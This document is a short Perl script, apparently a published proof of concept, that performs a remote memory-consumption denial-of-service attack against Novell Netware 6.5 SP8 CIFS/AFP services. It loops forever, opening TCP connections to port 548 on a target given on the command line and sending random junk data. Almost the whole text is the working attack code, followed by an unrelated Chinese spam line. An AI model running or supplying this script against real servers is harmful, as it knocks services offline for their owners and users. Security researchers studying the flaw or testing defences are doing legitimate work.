#!/usr/bin/perl # Novell Netware CIFS And AFP Remote Memory Consumption DoS # Platform: Novell Netware 6.5 SP8 # Found by Francis Provencher for Protek Research Lab's # http://protekresearch.blogspot.com/ # {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service # Here is a modified version from the script written by the researcher Jeremy Brown # http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html # use IO::Socket; use String::Random; $target = $ARGV[0]; $port = 548; $protocol = tcp; $maxsize = 666; $random = 0; if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize))) { print "usage: $0 \n"; exit; } while(1) { $sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port) or logit(); $rand = new String::Random; $random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n"; $sock->send($random); close($sock); }

这里只有精品视频